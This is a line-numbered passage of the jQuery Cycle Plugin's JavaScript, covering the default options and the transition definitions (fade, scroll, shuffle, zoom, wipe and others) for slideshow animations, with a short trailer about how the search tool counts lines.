false && next.cycleW > 0) 954 opts.cssBefore.width = next.cycleW; 955 if (opts.slideResize && h !== false && next.cycleH > 0) 956 opts.cssBefore.height = next.cycleH; 957 opts.cssAfter = opts.cssAfter || {}; 958 opts.cssAfter.display = 'none'; 959 $(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0)); 960 $(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1)); 961}; 962 963// the actual fn for effecting a transition 964$.fn.cycle.custom = function(curr, next, opts, cb, fwd, speedOverride) { 965 var $l = $(curr), $n = $(next); 966 var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut; 967 $n.css(opts.cssBefore); 968 if (speedOverride) { 969 if (typeof speedOverride == 'number') 970 speedIn = speedOut = speedOverride; 971 else 972 speedIn = speedOut = 1; 973 easeIn = easeOut = null; 974 } 975 var fn = function() { 976 $n.animate(opts.animIn, speedIn, easeIn, function() { 977 cb(); 978 }); 979 }; 980 $l.animate(opts.animOut, speedOut, easeOut, function() { 981 $l.css(opts.cssAfter); 982 if (!opts.sync) 983 fn(); 984 }); 985 if (opts.sync) fn(); 986}; 987 988// transition definitions - only fade is defined here, transition pack defines the rest 989$.fn.cycle.transitions = { 990 fade: function($cont, $slides, opts) { 991 $slides.not(':eq('+opts.currSlide+')').css('opacity',0); 992 opts.before.push(function(curr,next,opts) { 993 $.fn.cycle.commonReset(curr,next,opts); 994 opts.cssBefore.opacity = 0; 995 }); 996 opts.animIn = { opacity: 1 }; 997 opts.animOut = { opacity: 0 }; 998 opts.cssBefore = { top: 0, left: 0 }; 999 } 1000}; 1001 1002$.fn.cycle.ver = function() { return ver; }; 1003 1004// override these globally if you like (they are all optional) 1005$.fn.cycle.defaults = {
1006 activePagerClass: 'activeSlide', // class name used for the active pager link 1007 after: null, // transition callback (scope set to element that was shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1008 allowPagerClickBubble: false, // allows or prevents click event on pager anchors from bubbling 1009 animIn: null, // properties that define how the slide animates in 1010 animOut: null, // properties that define how the slide animates out 1011 aspect: false, // preserve aspect ratio during fit resizing, cropping if necessary (must be used with fit option) 1012 autostop: 0, // true to end slideshow after X transitions (where X == slide count) 1013 autostopCount: 0, // number of transitions (optionally used with autostop to define X) 1014 backwards: false, // true to start slideshow at last slide and move backwards through the stack 1015 before: null, // transition callback (scope set to element to be shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1016 center: null, // set to true to have cycle add top/left margin to each slide (use with width and height options) 1017 cleartype: !$.support.opacity, // true if clearType corrections should be applied (for IE) 1018 cleartypeNoBg: false, // set to true to disable extra cleartype fixing (leave false to force background color setting on slides) 1019 containerResize: 1, // resize container to fit largest slide 1020 continuous: 0, // true to start next transition immediately after current one completes 1021 cssAfter: null, // properties that defined the state of the slide after transitioning out 1022 cssBefore: null, // properties that define the initial state of the slide before transitioning in 1023 delay: 0, // additional delay (in ms) for first transition (hint: can be negative) 1024 easeIn: null, // easing for "in" transition 1025 easeOut: null, // easing for "out" transition 1026 easing: null, // easing method for both in and out transitions 1027 end: null, // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options) 1028 fastOnEvent: 0, // force fast transitions when triggered manually (via pager or prev/next); value == time in ms 1029 fit: 0, // force slides to fit container 1030 fx: 'fade', // name of transition effect (or comma separated names, ex: 'fade,scrollUp,shuffle') 1031 fxFn: null, // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag) 1032 height: 'auto', // container height (if the 'fit' option is true, the slides will be set to this height as well) 1033 manualTrump: true, // causes manual transition to stop an active transition instead of being ignored 1034 metaAttr: 'cycle',// data- attribute that holds the option data for the slideshow 1035 next: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for next slide 1036 nowrap: 0, // true to prevent slideshow from wrapping 1037 onPagerEvent: null, // callback fn for pager events: function(zeroBasedSlideIndex, slideElement) 1038 onPrevNextEvent: null,// callback fn for prev/next events: function(isNext, zeroBasedSlideIndex, slideElement) 1039 pager: null, // element, jQuery object, or jQuery selector string for the element to use as pager container 1040 pagerAnchorBuilder: null, // callback fn for building anchor links: function(index, DOMelement) 1041 pagerEvent: 'click.cycle', // name of event which drives the pager navigation 1042 pause: 0, // true to enable "pause on hover" 1043 pauseOnPagerHover: 0, // true to pause when hovering over pager link 1044 prev: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for previous slide 1045 prevNextEvent:'click.cycle',// event which drives the manual transition to the previous or next slide 1046 random: 0, // true for random, false for sequence (not applicable to shuffle fx) 1047 randomizeEffects: 1, // valid when multiple effects are used; true to make the effect sequence random 1048 requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded 1049 requeueTimeout: 250, // ms delay for requeue 1050 rev: 0, // causes animations to transition in reverse (for effects that support it such as scrollHorz/scrollVert/shuffle) 1051 shuffle: null, // coords for shuffle animation, ex: { top:15, left: 200 } 1052 skipInitializationCallbacks: false, // set to true to disable the first before/after callback that occurs prior to any transition 1053 slideExpr: null, // expression for selecting slides (if something other than all children is required) 1054 slideResize: 1, // force slide width/height to fixed size before every transition 1055 speed: 1000, // speed of the transition (any valid fx speed value) 1056 speedIn: null, // speed of the 'in' transition 1057 speedOut: null, // speed of the 'out' transition 1058 startingSlide: undefined, // zero-based index of the first slide to be displayed 1059 sync: 1, // true if in/out transitions should occur simultaneously 1060 timeout: 4000, // milliseconds between slide transitions (0 to disable auto advance) 1061 timeoutFn: null, // callback for determining per-slide timeout value: function(currSlideElement, nextSlideElement, options, forwardFlag) 1062 updateActivePagerLink: null, // callback fn invoked to update the active pager link (adds/removes activePagerClass style) 1063 width: null // container width (if the 'fit' option is true, the slides will be set to this width as well) 1064}; 1065 1066})(jQuery); 1067 1068 1069/*! 1070 * jQuery Cycle Plugin Transition Definitions 1071 * This script is a plugin for the jQuery Cycle Plugin 1072 * Examples and documentation at: http://malsup.com/jquery/cycle/ 1073 * Copyright (c) 2007-2010 M. Alsup 1074 * Version: 2.73 1075 * Dual licensed under the MIT and GPL licenses: 1076 * http://www.opensource.org/licenses/mit-license.php 1077 * http://www.gnu.org/licenses/gpl.html 1078 */ 1079(function($) { 1080 1081// 1082// These functions define slide initialization and properties for the named 1083// transitions. To save file size feel free to remove any of these that you 1084// don't need. 1085// 1086$.fn.cycle.transitions.none = function($cont, $slides, opts) { 1087 opts.fxFn = function(curr,next,opts,after){
1088 $(next).show(); 1089 $(curr).hide(); 1090 after(); 1091 }; 1092}; 1093 1094// not a cross-fade, fadeout only fades out the top slide 1095$.fn.cycle.transitions.fadeout = function($cont, $slides, opts) { 1096 $slides.not(':eq('+opts.currSlide+')').css({ display: 'block', 'opacity': 1 }); 1097 opts.before.push(function(curr,next,opts,w,h,rev) { 1098 $(curr).css('zIndex',opts.slideCount + (!rev === true ? 1 : 0)); 1099 $(next).css('zIndex',opts.slideCount + (!rev === true ? 0 : 1)); 1100 }); 1101 opts.animIn.opacity = 1; 1102 opts.animOut.opacity = 0; 1103 opts.cssBefore.opacity = 1; 1104 opts.cssBefore.display = 'block'; 1105 opts.cssAfter.zIndex = 0; 1106}; 1107 1108// scrollUp/Down/Left/Right 1109$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) { 1110 $cont.css('overflow','hidden'); 1111 opts.before.push($.fn.cycle.commonReset); 1112 var h = $cont.height(); 1113 opts.cssBefore.top = h; 1114 opts.cssBefore.left = 0; 1115 opts.cssFirst.top = 0; 1116 opts.animIn.top = 0; 1117 opts.animOut.top = -h; 1118}; 1119$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) { 1120 $cont.css('overflow','hidden'); 1121 opts.before.push($.fn.cycle.commonReset); 1122 var h = $cont.height(); 1123 opts.cssFirst.top = 0; 1124 opts.cssBefore.top = -h; 1125 opts.cssBefore.left = 0; 1126 opts.animIn.top = 0; 1127 opts.animOut.top = h; 1128}; 1129$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) { 1130 $cont.css('overflow','hidden'); 1131 opts.before.push($.fn.cycle.commonReset); 1132 var w = $cont.width(); 1133 opts.cssFirst.left = 0; 1134 opts.cssBefore.left = w; 1135 opts.cssBefore.top = 0; 1136 opts.animIn.left = 0; 1137 opts.animOut.left = 0-w; 1138}; 1139$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) { 1140 $cont.css('overflow','hidden'); 1141 opts.before.push($.fn.cycle.commonReset); 1142 var w = $cont.width(); 1143 opts.cssFirst.left = 0; 1144 opts.cssBefore.left = -w; 1145 opts.cssBefore.top = 0; 1146 opts.animIn.left = 0; 1147 opts.animOut.left = w; 1148}; 1149$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) { 1150 $cont.css('overflow','hidden').width(); 1151 opts.before.push(function(curr, next, opts, fwd) { 1152 if (opts.rev) 1153 fwd = !fwd; 1154 $.fn.cycle.commonReset(curr,next,opts); 1155 opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW); 1156 opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW; 1157 }); 1158 opts.cssFirst.left = 0; 1159 opts.cssBefore.top = 0; 1160 opts.animIn.left = 0; 1161 opts.animOut.top = 0; 1162}; 1163$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) { 1164 $cont.css('overflow','hidden'); 1165 opts.before.push(function(curr, next, opts, fwd) { 1166 if (opts.rev) 1167 fwd = !fwd; 1168 $.fn.cycle.commonReset(curr,next,opts); 1169 opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1); 1170 opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH; 1171 }); 1172 opts.cssFirst.top = 0; 1173 opts.cssBefore.left = 0; 1174 opts.animIn.top = 0; 1175 opts.animOut.left = 0; 1176}; 1177 1178// slideX/slideY 1179$.fn.cycle.transitions.slideX = function($cont, $slides, opts) { 1180 opts.before.push(function(curr, next, opts) { 1181 $(opts.elements).not(curr).hide(); 1182 $.fn.cycle.commonReset(curr,next,opts,false,true); 1183 opts.animIn.width = next.cycleW; 1184 }); 1185 opts.cssBefore.left = 0; 1186 opts.cssBefore.top = 0; 1187 opts.cssBefore.width = 0; 1188 opts.animIn.width = 'show'; 1189 opts.animOut.width = 0; 1190}; 1191$.fn.cycle.transitions.slideY = function($cont, $slides, opts) { 1192 opts.before.push(function(curr, next, opts) { 1193 $(opts.elements).not(curr).hide(); 1194 $.fn.cycle.commonReset(curr,next,opts,true,false); 1195 opts.animIn.height = next.cycleH; 1196 }); 1197 opts.cssBefore.left = 0; 1198 opts.cssBefore.top = 0; 1199 opts.cssBefore.height = 0; 1200 opts.animIn.height = 'show'; 1201 opts.animOut.height = 0; 1202}; 1203 1204// shuffle 1205$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) { 1206 var i, w = $cont.css('overflow', 'visible').width(); 1207 $slides.css({left: 0, top: 0}); 1208 opts.before.push(function(curr,next,opts) { 1209 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1210 }); 1211 // only adjust speed once! 1212 if (!opts.speedAdjusted) { 1213 opts.speed = opts.speed / 2; // shuffle has 2 transitions 1214 opts.speedAdjusted = true; 1215 } 1216 opts.random = 0; 1217 opts.shuffle = opts.shuffle || {left:-w, top:15}; 1218 opts.els = []; 1219 for (i=0; i < $slides.length; i++) 1220 opts.els.push($slides[i]); 1221 1222 for (i=0; i < opts.currSlide; i++) 1223 opts.els.push(opts.els.shift()); 1224 1225 // custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!) 1226 opts.fxFn = function(curr, next, opts, cb, fwd) { 1227 if (opts.rev) 1228 fwd = !fwd; 1229 var $el = fwd ? $(curr) : $(next); 1230 $(next).css(opts.cssBefore); 1231 var count = opts.slideCount; 1232 $el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() { 1233 var hops = $.fn.cycle.hopsFromLast(opts, fwd); 1234 for (var k=0; k < hops; k++) 1235 fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop()); 1236 if (fwd) { 1237 for (var i=0, len=opts.els.length; i < len; i++) 1238 $(opts.els[i]).css('z-index', len-i+count); 1239 } 1240 else { 1241 var z = $(curr).css('z-index'); 1242 $el.css('z-index', parseInt(z,10)+1+count); 1243 } 1244 $el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
1245 $(fwd ? this : curr).hide(); 1246 if (cb) cb(); 1247 }); 1248 }); 1249 }; 1250 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1251}; 1252 1253// turnUp/Down/Left/Right 1254$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) { 1255 opts.before.push(function(curr, next, opts) { 1256 $.fn.cycle.commonReset(curr,next,opts,true,false); 1257 opts.cssBefore.top = next.cycleH; 1258 opts.animIn.height = next.cycleH; 1259 opts.animOut.width = next.cycleW; 1260 }); 1261 opts.cssFirst.top = 0; 1262 opts.cssBefore.left = 0; 1263 opts.cssBefore.height = 0; 1264 opts.animIn.top = 0; 1265 opts.animOut.height = 0; 1266}; 1267$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) { 1268 opts.before.push(function(curr, next, opts) { 1269 $.fn.cycle.commonReset(curr,next,opts,true,false); 1270 opts.animIn.height = next.cycleH; 1271 opts.animOut.top = curr.cycleH; 1272 }); 1273 opts.cssFirst.top = 0; 1274 opts.cssBefore.left = 0; 1275 opts.cssBefore.top = 0; 1276 opts.cssBefore.height = 0; 1277 opts.animOut.height = 0; 1278}; 1279$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) { 1280 opts.before.push(function(curr, next, opts) { 1281 $.fn.cycle.commonReset(curr,next,opts,false,true); 1282 opts.cssBefore.left = next.cycleW; 1283 opts.animIn.width = next.cycleW; 1284 }); 1285 opts.cssBefore.top = 0; 1286 opts.cssBefore.width = 0; 1287 opts.animIn.left = 0; 1288 opts.animOut.width = 0; 1289}; 1290$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) { 1291 opts.before.push(function(curr, next, opts) { 1292 $.fn.cycle.commonReset(curr,next,opts,false,true); 1293 opts.animIn.width = next.cycleW; 1294 opts.animOut.left = curr.cycleW; 1295 }); 1296 $.extend(opts.cssBefore, { top: 0, left: 0, width: 0 }); 1297 opts.animIn.left = 0; 1298 opts.animOut.width = 0; 1299}; 1300 1301// zoom 1302$.fn.cycle.transitions.zoom = function($cont, $slides, opts) { 1303 opts.before.push(function(curr, next, opts) { 1304 $.fn.cycle.commonReset(curr,next,opts,false,false,true); 1305 opts.cssBefore.top = next.cycleH/2; 1306 opts.cssBefore.left = next.cycleW/2; 1307 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1308 $.extend(opts.animOut, { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 }); 1309 }); 1310 opts.cssFirst.top = 0; 1311 opts.cssFirst.left = 0; 1312 opts.cssBefore.width = 0; 1313 opts.cssBefore.height = 0; 1314}; 1315 1316// fadeZoom 1317$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) { 1318 opts.before.push(function(curr, next, opts) { 1319 $.fn.cycle.commonReset(curr,next,opts,false,false); 1320 opts.cssBefore.left = next.cycleW/2; 1321 opts.cssBefore.top = next.cycleH/2; 1322 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1323 }); 1324 opts.cssBefore.width = 0; 1325 opts.cssBefore.height = 0; 1326 opts.animOut.opacity = 0; 1327}; 1328 1329// blindX 1330$.fn.cycle.transitions.blindX = function($cont, $slides, opts) { 1331 var w = $cont.css('overflow','hidden').width(); 1332 opts.before.push(function(curr, next, opts) { 1333 $.fn.cycle.commonReset(curr,next,opts); 1334 opts.animIn.width = next.cycleW; 1335 opts.animOut.left = curr.cycleW; 1336 }); 1337 opts.cssBefore.left = w; 1338 opts.cssBefore.top = 0; 1339 opts.animIn.left = 0; 1340 opts.animOut.left = w; 1341}; 1342// blindY 1343$.fn.cycle.transitions.blindY = function($cont, $slides, opts) { 1344 var h = $cont.css('overflow','hidden').height(); 1345 opts.before.push(function(curr, next, opts) { 1346 $.fn.cycle.commonReset(curr,next,opts); 1347 opts.animIn.height = next.cycleH; 1348 opts.animOut.top = curr.cycleH; 1349 }); 1350 opts.cssBefore.top = h; 1351 opts.cssBefore.left = 0; 1352 opts.animIn.top = 0; 1353 opts.animOut.top = h; 1354}; 1355// blindZ 1356$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) { 1357 var h = $cont.css('overflow','hidden').height(); 1358 var w = $cont.width(); 1359 opts.before.push(function(curr, next, opts) { 1360 $.fn.cycle.commonReset(curr,next,opts); 1361 opts.animIn.height = next.cycleH; 1362 opts.animOut.top = curr.cycleH; 1363 }); 1364 opts.cssBefore.top = h; 1365 opts.cssBefore.left = w; 1366 opts.animIn.top = 0; 1367 opts.animIn.left = 0; 1368 opts.animOut.top = h; 1369 opts.animOut.left = w; 1370}; 1371 1372// growX - grow horizontally from centered 0 width 1373$.fn.cycle.transitions.growX = function($cont, $slides, opts) { 1374 opts.before.push(function(curr, next, opts) { 1375 $.fn.cycle.commonReset(curr,next,opts,false,true); 1376 opts.cssBefore.left = this.cycleW/2; 1377 opts.animIn.left = 0; 1378 opts.animIn.width = this.cycleW; 1379 opts.animOut.left = 0; 1380 }); 1381 opts.cssBefore.top = 0; 1382 opts.cssBefore.width = 0; 1383}; 1384// growY - grow vertically from centered 0 height 1385$.fn.cycle.transitions.growY = function($cont, $slides, opts) { 1386 opts.before.push(function(curr, next, opts) { 1387 $.fn.cycle.commonReset(curr,next,opts,true,false); 1388 opts.cssBefore.top = this.cycleH/2; 1389 opts.animIn.top = 0; 1390 opts.animIn.height = this.cycleH; 1391 opts.animOut.top = 0; 1392 }); 1393 opts.cssBefore.height = 0; 1394 opts.cssBefore.left = 0; 1395}; 1396 1397// curtainX - squeeze in both edges horizontally 1398$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) { 1399 opts.before.push(function(curr, next, opts) { 1400 $.fn.cycle.commonReset(curr,next,opts,false,true,true); 1401 opts.cssBefore.left = next.cycleW/2; 1402 opts.animIn.left = 0; 1403 opts.animIn.width = this.cycleW; 1404 opts.animOut.left = curr.cycleW/2; 1405 opts.animOut.width = 0; 1406 }); 1407 opts.cssBefore.top = 0; 1408 opts.cssBefore.width = 0; 1409}; 1410// curtainY - squeeze in both edges vertically 1411$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) { 1412 opts.before.push(function(curr, next, opts) { 1413 $.fn.cycle.commonReset(curr,next,opts,true,false,true); 1414 opts.cssBefore.top = next.cycleH/2; 1415 opts.animIn.top = 0; 1416 opts.animIn.height = next.cycleH; 1417 opts.animOut.top = curr.cycleH/2; 1418 opts.animOut.height = 0; 1419 }); 1420 opts.cssBefore.height = 0; 1421 opts.cssBefore.left = 0; 1422}; 1423 1424// cover - curr slide covered by next slide 1425$.fn.cycle.transitions.cover = function($cont, $slides, opts) { 1426 var d = opts.direction || 'left'; 1427 var w = $cont.css('overflow','hidden').width(); 1428 var h = $cont.height(); 1429 opts.before.push(function(curr, next, opts) { 1430 $.fn.cycle.commonReset(curr,next,opts); 1431 if (d == 'right') 1432 opts.cssBefore.left = -w; 1433 else if (d == 'up') 1434 opts.cssBefore.top = h; 1435 else if (d == 'down') 1436 opts.cssBefore.top = -h; 1437 else 1438 opts.cssBefore.left = w; 1439 }); 1440 opts.animIn.left = 0; 1441 opts.animIn.top = 0; 1442 opts.cssBefore.top = 0; 1443 opts.cssBefore.left = 0; 1444}; 1445 1446// uncover - curr slide moves off next slide 1447$.fn.cycle.transitions.uncover = function($cont, $slides, opts) { 1448 var d = opts.direction || 'left'; 1449 var w = $cont.css('overflow','hidden').width(); 1450 var h = $cont.height(); 1451 opts.before.push(function(curr, next, opts) { 1452 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1453 if (d == 'right') 1454 opts.animOut.left = w; 1455 else if (d == 'up') 1456 opts.animOut.top = -h; 1457 else if (d == 'down') 1458 opts.animOut.top = h; 1459 else 1460 opts.animOut.left = -w; 1461 }); 1462 opts.animIn.left = 0; 1463 opts.animIn.top = 0; 1464 opts.cssBefore.top = 0; 1465 opts.cssBefore.left = 0; 1466}; 1467 1468// toss - move top slide and fade away 1469$.fn.cycle.transitions.toss = function($cont, $slides, opts) { 1470 var w = $cont.css('overflow','visible').width(); 1471 var h = $cont.height(); 1472 opts.before.push(function(curr, next, opts) { 1473 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1474 // provide default toss settings if animOut not provided 1475 if (!opts.animOut.left && !opts.animOut.top) 1476 $.extend(opts.animOut, { left: w*2, top: -h/2, opacity: 0 }); 1477 else 1478 opts.animOut.opacity = 0; 1479 }); 1480 opts.cssBefore.left = 0; 1481 opts.cssBefore.top = 0; 1482 opts.animIn.left = 0; 1483}; 1484 1485// wipe - clip animation 1486$.fn.cycle.transitions.wipe = function($cont, $slides, opts) { 1487 var w = $cont.css('overflow','hidden').width(); 1488 var h = $cont.height(); 1489 opts.cssBefore = opts.cssBefore || {}; 1490 var clip; 1491 if (opts.clip) { 1492 if (/l2r/.test(opts.clip)) 1493 clip = 'rect(0px 0px '+h+'px 0px)'; 1494 else if (/r2l/.test(opts.clip)) 1495 clip = 'rect(0px '+w+'px '+h+'px '+w+'px)'; 1496 else if (/t2b/.test(opts.clip)) 1497 clip = 'rect(0px '+w+'px 0px 0px)'; 1498 else if (/b2t/.test(opts.clip)) 1499 clip = 'rect('+h+'px '+w+'px '+h+'px 0px)'; 1500 else if (/zoom/.test(opts.clip)) { 1501 var top = parseInt(h/2,10); 1502 var left = parseInt(w/2,10); 1503 clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)'; 1504 } 1505 } 1506 1507 opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)'; 1508 1509 var d = opts.cssBefore.clip.match(/(\d+)/g); 1510 var t = parseInt(d[0],10), r = parseInt(d[1],10), b = parseInt(d[2],10), l = parseInt(d[3],10); 1511 1512 opts.before.push(function(curr, next, opts) { 1513 if (curr == next) return; 1514 var $curr = $(curr), $next = $(next); 1515 $.fn.cycle.commonReset(curr,next,opts,true,true,false); 1516 opts.cssAfter.display = 'block'; 1517 1518 var step = 1, count = parseInt((opts.speedIn / 13),10) - 1; 1519 (function f() { 1520 var tt = t ? t - parseInt(step * (t/count),10) : 0; 1521 var ll = l ? l - parseInt(step * (l/count),10) : 0; 1522 var bb = b < h ? b + parseInt(step * ((h-b)/count || 1),10) : h; 1523 var rr = r < w ? r + parseInt(step * ((w-r)/count || 1),10) : w; 1524 $next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' }); 1525 (step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none'); 1526 })();
1527 }); 1528 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1529 opts.animIn = { left: 0 }; 1530 opts.animOut = { left: 0 }; 1531}; 1532 1533})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.